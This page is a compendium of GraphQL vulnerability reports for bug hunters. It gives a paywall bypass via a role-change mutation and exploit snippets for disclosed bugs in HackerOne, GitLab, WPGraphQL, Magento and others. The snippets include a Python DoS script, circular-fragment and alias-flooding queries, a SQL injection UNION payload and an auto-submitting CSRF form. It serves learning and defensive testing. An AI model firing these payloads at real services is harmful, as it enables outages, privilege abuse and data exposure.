VULNERABILITIES, REPORTS AND EXPLOITS

Bypass Paywall Using GraphQL

Some targets differentiate between free and premium features through GUI-based paywalls that block access to certain functionalities unless you pay. However, with GraphQL introspection enabled, I uncovered the mutation that this feature utilizes, allowing me to bypass the paywall by directly interacting with the API.

Steps:

  1. GraphQL:

    • Identified the mutation being used for the restricted feature.

  2. Direct API Request:

    • Used the mutation directly via an API request, bypassing the paywall GUI restriction.

Example Request:

POST /t/graphql/org/{your-orgID}?q=ChangeUsersOrgRole HTTP/2
Host: app.target.com
Cookie: <your-cookie>
User-Agent: <your-user-agent>
Referer: https://app.target.com/analytics/sallam/settings/users/joined
Content-Type: application/json
X-Org: 315336
Content-Length: 557
Origin: https://app.target.com

{
  "query": "mutation ChangeUsersOrgRole($loginIds: [ID!]!, $orgRole: Int!) {\n  changeUsersOrgRole(loginIds: $loginIds, orgRole: $orgRole) {\n    ...userFields\n    __typename\n  }\n}\n\nfragment userFields on User {\n  id\n  alias\n  avatarVersion\n  blurb\n  createdAt\n  defaultAllProjectRole\n  defaultAppId\n  email\n  firstName\n  fullName\n  hasAvatar\n  hasOutstandingInvite\n  isConnectedToSlack\n  lastName\n  loginId\n  name\n  orgRole\n  orgTeam\n  title\n  pronouns\n  __typename\n}\n",
  "variables": {
    "loginIds": ["sallam@cyberar.net"],
    "orgRole": 1
  }
}

Result:

By sending this request, the paywall was bypassed, granting access to the restricted feature. This highlights how misconfigured GraphQL endpoints and exposed mutations can lead to security vulnerabilities.

Denial of Service (DoS)

  • A Large Payload (HackerOne): A hacker found that HackerOne did not enforce a character limit on API query inputs, despite documentation indicating one. A Python exploit was used to send a large payload, demonstrating that the server was vulnerable to denial of service when receiving large inputs.

  • Regular Expressions (CS Money): A vulnerability was discovered where a user could cause a denial of service by using a regular expression . The vulnerability involved a query that used regular expressions, which could lead to a ReDoS (Regular Expression Denial of Service) attack, where a crafted regular expression causes the server to hang .

query {
    search(q: "\u0000)", lang: "en") {
    --snip--
}

In response to this query, the GraphQL API server returned an interesting
error that revealed some information critical to identifying the existence of
the ReDoS vulnerability:

"errors": [
    {
    "message": "value (?=.*\u0000) must not contain null by tes"
    --snip--
    }
]

As you can see, the string supplied through the q argument was inserted into regex-matching logic on the server, indicated by the preceding (?=.*string in the response. The server might use this argument to search for relevant data in a database.

  • A Circular Introspection Query (GitLab): A circular introspection query was used to cause a denial of service on a GitLab server . The attack involved creating two fragments that reference each other on the __Schema type, leading to an infinite loop and freezing the server . The code snippet for this exploit is:

query {
    __schema {
        types {
            fields {
                type {
                    fields {
                        type {
                            --snip--
                        }
                    }
                }
            }
        }
    }
}
  • Aliases for Field Duplication (Magento): A vulnerability using aliases to duplicate fields led to a denial of service . The exploit involves using aliases to send duplicate fields in a query, which can cause the server to consume more resources than necessary .

query {
    alias1: countries {
        full_name_english
        full_name_english # continues 1000s of times
        --snip--
    }
    
    alias2: countries {
        --snip--
    }
    
    alias3: countries {
        --snip--
    }
}
  • Array-Based Batching for Field Duplication (WPGraphQL): An array-based batching technique was used to duplicate fields and cause a denial of service on WPGraphQL, a WordPress plug-in . The following code is a snippet of an exploit that demonstrates the vulnerability:

payload = 'content \n comments { \n nodes { \n content } }' * FORCE_MULTIPLIER
query = {'query':'query { \n posts { \n nodes { \n ' + payload + '} } }'}
for _ in range(0, CHAINED_REQUESTS):
    queries.append(query)
r = requests.post(WORDPRESS_URL, json=queries)
print('Time took: {}'.format(r.elapsed.total_seconds()))
  • Circular Fragments (Agoo): A circular fragment condition was exploited to cause a denial of service on an Agoo server . The exploit creates two fragments that reference each other and then includes one of them in a query, causing an infinite loop.

query Introspection {
    __schema {
        directives {
            name
        }
    }
}

-------------------
query CircularFragment {
    __schema {
         ...A
    }
}

fragment A on __Schema {
    directives {
        name
    }
 ...B
}

fragment B on __Schema {
     ...A
}

Broken Authorization

  • Allowing Data Access to Deactivated Users (GitLab): A vulnerability in GitLab allowed deactivated users to still access data through the GraphQL API . The vulnerability highlights that while a user may be deactivated, their data may still be accessible through the GraphQL endpoint.

  • Allowing an Unprivileged Staff Member to Modify a Customer’s Email (Shopify): A vulnerability in Shopify allowed unprivileged staff members to modify customer emails . This showed how authorization flaws could lead to unwanted data modification through the GraphQL API.

  • Disclosing the Number of Allowed Hackers Through a Team Object (HackerOne): A vulnerability on HackerOne allowed the disclosure of the number of allowed hackers through a team object . This vulnerability shows that even seemingly innocuous data disclosure can be an issue.

  • Reading Private Notes (GitLab): A vulnerability in GitLab’s GraphQL API allowed hackers to read private notes, even though they were restricted in the REST API . The query used to exploit this vulnerability is:

query {
   project(fullPath:"username16/ci-test"){
     issue(iid:"1"){
       descriptionHtml
       notes {
         edges {
           node {
             bodyHtml
             system
             author {
               username
             }
             body
           }
         }
       }
     }
   }
}
  • Disclosing Payment Transaction Information (HackerOne): A vulnerability on HackerOne allowed access to payment transaction information . The vulnerability allowed an unauthorized user to access a total count of payment transactions, revealing sensitive financial information .

Information Disclosure

  • Enumerating GraphQL Users (GitLab): A vulnerability allowed the enumeration of GraphQL users . This vulnerability showed how an API may inadvertently expose user information.

query {
    users {
        nodes {
            id
            name
            username
        }
    }
}
  • Accessing the Introspection Query via WebSocket (Nuri): A vulnerability was found in Nuri where the introspection query was accessible via WebSocket .

Injection

  • SQL Injection in a GET Query Parameter (HackerOne): A SQL injection vulnerability was found in a HackerOne application in a GET query parameter . This showed how GraphQL endpoints can be vulnerable to common injection attacks through GET requests.

  • SQL Injection in an Object Argument (Apache SkyWalking): A SQL injection vulnerability was found in Apache SkyWalking where the vulnerability was located in an object argument . A code review revealed that the vulnerability stemmed from a lack of sanitization when constructing SQL queries using client-supplied data .

query SQLi($d: Duration!) {
    getLinearIntValues(metric:{name: "all_p99", id: "') UNION SELECT 1,CONCAT('~','9999999999','~')--"},duration: $d) {
        values {
            value
        }
    }
}
  • Cross-Site Scripting (GraphQL Playground): A cross-site scripting vulnerability was found in GraphQL Playground .

class UserObject(SQLAlchemyObjectType):
    class Meta:
        name = "MyMaliciousTypeName"
        model = User

Cross-Site Request Forgery (CSRF)

  • A CSRF vulnerability was found in GitLab . The following GraphQL mutation was used to exploit the vulnerability:

<form action="https://gitlab.com/api/graphql/" id="csrf-form" method="GET"> ❶
    <input name= "query" value="mutation CreateSnippet($input: CreateSnippetInput!) --snip--">
    <input name= "variables" value='{"input":{"title":"Tesssst Snippet"} --snip--'>
</form>
<script>document.getElementById("csrf-form").submit()</script>
mutation CreateSnippet($input: CreateSnippetInput!) {
  createSnippet(input: $input) {
    errors
    snippet {
      webUrl
      __typename
    }
    --snip--
  }
}

Last updated

Was this helpful?